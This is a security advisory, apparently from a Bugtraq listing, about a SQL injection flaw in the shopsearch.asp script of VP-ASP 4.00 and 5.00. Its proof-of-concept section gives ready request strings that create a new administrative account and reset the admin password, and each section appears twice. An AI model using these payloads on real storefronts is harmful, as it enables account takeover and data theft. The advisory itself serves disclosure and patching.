Virtual Programming VP-ASP shopsearch.asp SQL Injection Vulnerability
BID:9133
Info
Virtual Programming VP-ASP shopsearch.asp SQL Injection Vulnerability
| Bugtraq ID: | 9133 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 01 2003 12:00AM |
| Updated: | Dec 01 2003 12:00AM |
| Credit: | The disclosure of this issue has been credited to Nick Gudov <[email protected]>. |
| Vulnerable: |
Virtual Programming VP-ASP 5.00 Virtual Programming VP-ASP 4.00 |
| Not Vulnerable: | |
Discussion
Virtual Programming VP-ASP shopsearch.asp SQL Injection Vulnerability
It has been reported that VP-ASP may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database. The problem exists in the 'shopsearch.asp' script of the software.
It has been reported that VP-ASP may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database. The problem exists in the 'shopsearch.asp' script of the software.
Exploit / POC
Virtual Programming VP-ASP shopsearch.asp SQL Injection Vulnerability
The following proof of concept examples have been provided:
This code creates a new administrative account:
Keyword=&category=5); insert into tbluser (fldusername) values
('qasdew')--&SubCategory=&hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fldpassword='edsaqw' where
fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess='1' where
fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6
This code changes the administrator password:
Keyword=&category=5); update tbluser set fldpassword='edsaqw' where
fldusername='admin'--&SubCategory=All&action.x=33&action.y=6
The following proof of concept examples have been provided:
This code creates a new administrative account:
Keyword=&category=5); insert into tbluser (fldusername) values
('qasdew')--&SubCategory=&hide=&action.x=46&action.y=6
Keyword=&category=5); update tbluser set fldpassword='edsaqw' where
fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6
Keyword=&category=3); update tbluser set fldaccess='1' where
fldusername='qasdew'--&SubCategory=All&action.x=33&action.y=6
This code changes the administrator password:
Keyword=&category=5); update tbluser set fldpassword='edsaqw' where
fldusername='admin'--&SubCategory=All&action.x=33&action.y=6
Solution / Fix
Virtual Programming VP-ASP shopsearch.asp SQL Injection Vulnerability
Solution:
The vendor has released fixes to address this issue. Users are advised to obtain fixes from the following web site:
http://www.vpasp.com/virtprog/info/faq_securityfixes.htm
Solution:
The vendor has released fixes to address this issue. Users are advised to obtain fixes from the following web site:
http://www.vpasp.com/virtprog/info/faq_securityfixes.htm